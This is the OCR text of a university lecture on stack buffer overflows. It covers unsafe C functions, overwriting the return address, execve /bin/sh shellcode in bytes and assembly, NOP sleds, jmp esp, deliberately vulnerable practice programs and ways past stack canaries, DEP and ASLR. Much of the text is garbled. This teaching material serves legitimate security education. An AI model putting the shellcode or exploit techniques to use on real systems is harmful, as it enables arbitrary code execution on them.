Secure Programming
Smashing the Stack



e \What is buffer overflow?

 How buffer overtlow happens?

 Exploit stack-based buffer overflow



Buffer Overtlow

s EHEHEERIER, REBREESFTMEERA
SRR B &=

o 2= Crash

).?hg

cychao@CatKali:~/ctf/nctu/slide$ ./foo aaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
cychao@CatKali:~/ctf/nctu/slide$ |



Different Crash

L == 41 1dhn =z [HHh
%ﬁj:E*ﬁ—T - HE ln_,\%_\_g_ //,% PTH
Starting program: /home/cychao/ctf/nctu/slide/a.out

Program received signal SIGSEGV, Segmentation fault.
Oxb7ed9b8@ in strcpy () from /1ib/1386-1inux-gnu/i1686/cmov/1ibc.s0.6

(gdb) |}

B =EIP -> #1T8ER

Starting program: /home/cychao}ctf/néth/slide/a.out aaaaaaaaaaaaaaaaaaaaas

Program received signal SIGSEGV, Segmentation fault.
Px00616161 in ?? O
(gdb) |



How Buftter Overflow happens

e Use unsafe function

 Copy data without boundary check



gets
scanf
sprintf
strcpy

strcat

Unsafe function



Use safe function

gets -> fgets
seant ->

sprrtf -> snprintt

Sstrepy -> Sstrncpy

streat -> strncat



Copy data with inappropriate
boundary check (1)

* Size relies on user input

idf (!(png_ptr->mode & PNG_HAVE_PLTE)) {

/* Should be an error, but we can cope with 1t */
png_warning(png_ptr, "Missing PLIE betore tRkNY");
}
else if (length > (png_uint_32)png_ptr->num_palette) {
png_warning(png_ptr, "Incorrect tRNS chunk length");
png_crc_finish(png_ptr, length);
return,;

}

png_crc_read(png_ptr, readbuf, (png_size_t)length);



Copy data with inappropriate
boundary check (2)

o Off-by-one

void foo (char *s)

{
char buf[15];

memset(buf, 0, sizeof(buf));
strncat(buf, s, sizeof(buf)); // Final parameter should be: sizeof(buf)-1

}

* Integer overflow

iresp = packet_get_int();
1f (nresp > 0) {
response = xmalloc(nresp*sizeof(char*));
for (1 =0; 1 < nresp; 1++)
response[i] = packet_get_string(NULL);



Stack-based buffer overflow

RN TARIE - Overwrite EIP
Writing Shellcode

L ocating Stack/Library address

—xecuting Arbitrary Code
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Unallocated Stack Space

c[0]

Char c[12]

Char *bar

Saved Frame pointer

Return Address

Parent Routine's Stack

Overwrite EIP

Unallocated Stack Space
Address
0x80C03508

Char c[12]

Stack Growth
Stack Growth

sossauppy Alowan

Char *bar

Saved Frame pointer

Return Address

Parent Routine's Stack

overflow BZB]—RTLHY Return Address

Unallocated Stack Space

A
Little Endian

0x80C03508
\x08 \x35 \xCO \x80 A

Parent Routine's Stack




Offset from Variable to EIP

ElP-ettset="2{buh—+4{ecbp)

#include <string.h>

void foo (char *bar)

{
char c[12];

strcpy(c, bar); // no bounds checking
}

int main (int argc, char **argv)

{

foo(argv[1]);



Offset from Variable to EIP

+ EIP = EBP + 4

e puf[0] =

e Input => A*24 +

0804841c <foo>:
804841c:
804841d:
804841f:
8048422:
8048425:
8048429:
804842c:
804842f:
8048434 :
8048435:

55

89 e5

83 ec 28

8b 45 08

89 44 24 04

8d 45 ec

89 04 24

e8 cc fe ff ff
c9

c3

-BP - 20

~ [P

ESP
(Top of stack) >}

EBP
(Frame pointer) ->

Saved EBP

SavedEIP

ptrto argv(1)

]

%ebp
soch s SrCpy(&ebp-0x14 | |
$0x28,%esp  SIIC ebp-0x14 , Input
Ox8(%ebp) ,%eax py( p p )
peax ,ox4{kesp)

-0x14(%ebp) ,%eax

%eax , (¥%esp)

8048300 <strcpy@plt>



Stack-based buffer overflow

B ITREE - Overwrite EIP
Writing Shellcode

L ocating Stack/Library address

—xecuting Arbitrary Code



What is Shellcode?

* shelserptcoae
 Machine code can directly executed

"\x31\xcO\Xx50\x68\x2F\x2F\x73\x68\x68\x2F \x62\x6H
"\x6e\x89\xe3\x50\x53\x89\xe1\xb@\x0b\xcd\x80"

%¥eax ,¥eax
Xeax
$0x68732F2f
$0x6e69622f
%esp , ¥ebx
¥eax

%ebx

Xesp ,¥ecx
$0xb,%al
$oxeE

o & o & o

S33232283
T < < WL n < 01 n



Shellcode database

o FKIFRKAYshellcodesk FE

« TAEIE

* http://shell-storm.org/shellcode/

N
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FreeBSD
Intel xB6-64

Intel xB6

by Girsnik
by Mack'n Roll
by x'n Roll

by cOd3 _23¢0

by Claes M. Nybevy

by 2
by MahDelin
r_')‘ I.h(\h: l_'r:""

by Tosh

by Tosh

by Tosh

char setreuidcode[] =

"\x31\xc0"
"\x50"

"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"

"\ x89\xe3"
"\x50"
"\x54"
"\x53"

"\x50"
“\xb0\x3b"
"\xcd\x80";

void main()

{

int» ret;

ret = (int*) &ret + 2;

xor %eax,%eax */

push teax */

push $0x68732£2f (//sh) */
push $0x6e69622f (/bin)*/

mov %tesp,tebx */
push %eax */
push tesp */
push tebx */

push %teax */
mov $0x3b,%al */
int $0x80 */

printf("len %d\n",strlen(setreuidcode));

(*ret) = (int) setreuidcode;



http://shell-storm.org/shellcode/

Testing and debug Shellcode

—xecute and trace it!

e strace ./a.out

#include <stdio.h>
#include <string.h>

char *shellcode =
"\X31\xcO\x50\x68\x2 F \x2f\x73\x68\x68\x2f\x62\x69"
H\fo\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)

{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;

}

TOLULUT LU, LR LIIIVUCTJ_ Al MLV IV JJ gy 9L I LLT™ATJII U

mmap2(NULL, 1452408, PROT_READ|PROT_EXEC, MAP_PR
mprotect(@xb7fbdodd, 4096, PROT_NONE) =0
mmap2(@xb7fbe@dd, 12288, PROT_READ|PROT_WRITE, M
mmap2(@xb7fc1000, 10616, PROT_READ|PROT_WRITE, M
close(10) =0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIV.
set_thread_area({entry_number:-1 -> 6, base_addr
eable:1}) = 0

mprotect(@Oxb7fbe®dd, 8192, PROT_READ) =0
mprotect(Oxb7ffe@0d, 4096, PROT_READ) =0
munmap(@xb7fc4000, 106842) = 0
fstat64(l, {st_mode=S_IFCHR|0620, st_rdev=makede
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIV.
write(1l, "Length: 23\n", lllLength: 23

) = 11

execve("/bio//sh", ["/bio//sh"], [/* @ vars */])
--- SIGSEGV (Segmentation fault) @ @ (@) ---

+++ killed by SIGSEGV +++

Segmentation fault



Write your own shellcode

e nasm -f bin -0 sc.bin sc.asm

BITS 32
global _start

e xXd -l SC.bIn

_Start:
xor eax,eax
push eax

push Ox68732f2f
push @Ox6e69622f
mov ebx,esp

push eax
push ebx
mov ecx,esp
mov al, Oxb
int 0x80

cychao@CatKali:~/ctf/nctu/slide$ nasm -f bin -0 binsh.bin binsh.s &% xxd -i binsh.bin
unsigned char binsh_bin[] = {

Ox31, OxcO, Ox50, Ox68, Ox2f, Ox2f, Ox73, Ox68, Ox68, Ox2f, @Ox62, Ox69,

Oxbe, Ox89, Oxe3, Ox50, Ox53, Ox89, Oxel, Oxbd, @x0b, Oxcd, Ox80

s

unsigned int binsh_bin_len = 23;

+ Ref: http://www.vividmachines.com/shellcode/shellcode.html



http://www.vividmachines.com/shellcode/shellcode.html

Position Independent

o FshellcodeEERETEEEENE

e FRA|Mp, callEB A BFEHEHMNE

o RABASLRHAE/RXENER AT HEBENE




Null Free shellcode

e xOr eax,eax : \x31\xc0O => set eax=0
e shr eax,0x8 ; set eax = OXOOxXXXXXX

* push(b|w) ; push byte/word without zero padding



Alphanumeric shellcode

e Shellcode with 0-9 a-z A-Z

* use printable opcode LSS

DAA

suUs

* Xor encode/decode -

SUB AL,

SUB AX/EAX,

-
-
=

¢s: PREFIX
DAS

XOR

XOR

XOR

XOR

XOR AL,

XOR AX/EAX,

88: PREFIX

POP AX/EAX

N
0
P
Q
R
S
T
)
v
w
X
Y

POP CX/ECX

O O N O O N




Practice T

—xecuting arbitrary code with address information
e secprog.cs.nctu.edu.tw:10101

e gcc -fno-stack-protector -z execstack

include <string.h>
#include <stdio.h>

 http://ppt.cc/SUBE

void foo (char *bar)

{
char c[12];

strcpy(c, bar);
printf("Your input is: (kx) %s\n", &c, ¢);

}

int main (int argc, char **argv)

{
char buf[4096];
fgets(buf,4096,stdin);
foo(buf);

}


http://ppt.cc/SU8E

Stack-based buffer overflow

=HFERBITRIZ - Overwrite EIP
Writing Shellcode

Landing shellcode/library

—xecuting Arbitrary Code



| eak Information

* Overwrite string’s null byte
* QOverwrite pointer to leak information

o Call write/print ... to get memory data



Bruteforce

e NOp-sled * n

0x90909090

o \xef\xfe ; infinite loop
e while(1)

Oxbfbf0000+i*n O e orrte

. Shellcode
|+ +




Jmp esp

e find “jmp esp” in text/library

e grep “\xff\xe4”

$ objdump -D ./a.out | grep "jmp \*%esp"
8048530: ff e4 jmp *¥%esp

s



Practice 2

—xecuting arbitrary code without address info
e secprog.cs.nctu.edu.tw:10102

e gcc -fno-stack-protector -z execstack

#include <string.h>

#include <stdio.h>
e http://ppt.cc/yK6M .
| —1 4 const char _']I'fp[3] = "\xff\xe4\x00";
void foo (char *bar)

{
char c¢[12];

strcpy(c, bar); '
printf("Your input is: %s\n &c c)

}

int main (int argc, char **argv)

{
char buf[4096];
fgets(buf,4096,stdin);
foo(buf);


http://ppt.cc/yK6M

Stack-based buffer overflow

EHIFERBITARIE - Overwrite EIP
Writing Shellcode

L ocating Stack/Library address

—xecuting Arbitrary Code



Mitigation

e Stack Guard

e Data Execution Prevention

* Address Space Layout Randomization



Stack Guard

e gcc -fstack-protector

o FETVRLENRFEL —HBLEL Canaries

Local Vanables
o PRTLIEIUEFAE CanariesHAEEIPRIE
. . Return Address
o RO BRI CanariesE B —F%
- -- : Top
8b 45 f4 mov -0xc(%ebp),%eax
65 33 05 14 00 00 20 xor %gs :0x14,%eax
74 05 je 80484e9 <foo+dx4d>
e8 87 fe ff ff call 8048370 <__stack_chk_fail@plt>
c9 leave
c3 ret
I

* Disable stack guard : gcc -tno-stack-protector



Brute force

& input A= _E null byte , BFEXE forkH 2 HY

H

e FEHFKbytes, Ox00 ~ Oxff FHEAF=
segmantation fault §J Byte

« BET 1Dbyte, HF|4 byte canaries #}/& L

~FGH




Skip Canaries

» PkiBCanaries Bytes, EEEA EIP or GOT

=1 I

5 — B 8E = A B TER

== Ak 5o
° ﬁﬁﬁlfjf

o IFFIEFEFS@EIP or GOT

—— 137 1 = .
« HEEA AEFCanaries

=> bypass



Leak It

¢ Jﬁﬁ-:?/_\%:réu J T\
B¢, #F Canaries 7

o FETUHITHEZRY
T HK 1E Canaries [E&E

45 H zexplo
= RUK ?ﬁeprlt

)

. fEF—

=> Dypass



Practice 3

—xploit bot with stack guard protection

secprog.cs.nctu.edu.tw:10103

ﬁiﬁclude

gCC -/ exeCStaCk #1nclude

const char jmp[3] = "\xff\xe4\x00";
void foo (char *bar)

http://ppt.cc/aVWE {

char c¢[17];

memcpy(c, bar, strlen(bar));

printf( ¥s\n", ©€);

fgets(c,17%, D;
}

int main (int argc, char **argv)
{
char buf[ 1;
fgets(buf, . D3
foo(buf);


http://ppt.cc/aVWF

Mitigation

e Stack Guard

e Data Execution Prevention

* Address Space Layout Randomization



Data Execution Prevention

 Set memory space to executable or non-
executable(NX)

cychao@CatKali:~/ctf/nctu$ cat /proc/11844/maps

08048000-0804900)
08049000-0804a000
b7e60000-b7e61000
b7e61000-b7{fbd0dd
b7fbd0dd-b7{fbeddd
b7fbeddd-b7{c0000
b7fc0000-b7fc1000
b7fc1000-b7fc4000
b7fdf000-b7fe1000
b7fel000-b7fe2000
b7fe2000-b7ffe000
b7ffe@00-b7ff {000
b7ff f000-b8000000
bf fdf000-c00000a )

r-xp €2000000 08:01 202542
rw-p 00000000 08:01 202542
rw-p 00000000 00:00 0

r-xp 00000000 08:01 392370
—--p 0015c000 08:01 392370
r--p 0015c000 08:01 392370
rw-p 0015000 08:01 392370

rw-p 00000000 00:00 @
r-xp 00000000 00:00 @
r-xp 00000000 08:01 392406
r--p 0001b000 08:01 392406
rw-p 0001c000 08:01 392406
rw-p ¢:2000000 00:00 0

cychao@CatKali:~/¢ti/riceus |}

/home/cychao/ctf/nctu/slide/foo
/home/cychao/ctf/nctu/slide/foo

/11b/1386-11inux-gnu/1686/cmov/1libc-2.13.s0
/11b/1386-11inux-gnu/1686/cmov/1ibc-2.13.s0
/11b/1386-11nux-gnu/1686/cmov/1ibc-2.13.s0
/11b/1386-11nux-gnu/1686/cmov/11ibc-2.13.s0

[vdso]
/11b/1386-11inux-gnu/1d-2.13.s0
/11b/1386-11inux-gnu/1d-2.13.s0
/1ib/1386-11inux-gnu/1d-2.13.s0
[stack]




Mitigation

e Stack Guard

e Data Execution Prevention

 Address Space Layout Randomization
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« EIHIUTE AR IUEEREHRIAES

o B1k Return to libc / ROP S &

root@bt:~# gcc -fPIE -pie geteip.c -0 getEIP

root@bt:~# cat /proc/sys/kernel/randomize va space

2

root@bt:~# ldd getEIP
linux-gate.so.1l => (0xb778a000)
libc.so0.6 => /lib/tls/1686/cmov/1libc.s0.6 (0xb761a000)
/lib/1ld-1inux.s0.2 (0xb778b060)

root@bt:~# ldd getEIP
linux-gate.so.1l => (0xb772¢c000)
libc.so0.6 => /1lib/tls/1686/cmov/1ibc.s0,6.(Oxb75bCO00)
/1ib/1d-1inux.s0.2 (0xb772d000)

root@t:~# ./getEIP ;

EIP located at: Oxb77et57c

root@t:~# ./getEIP

EIP located at: 0xb772e57c

root@bt:~# ./getEIP

EIP located at: 0xb77b657c

root@bt:~#




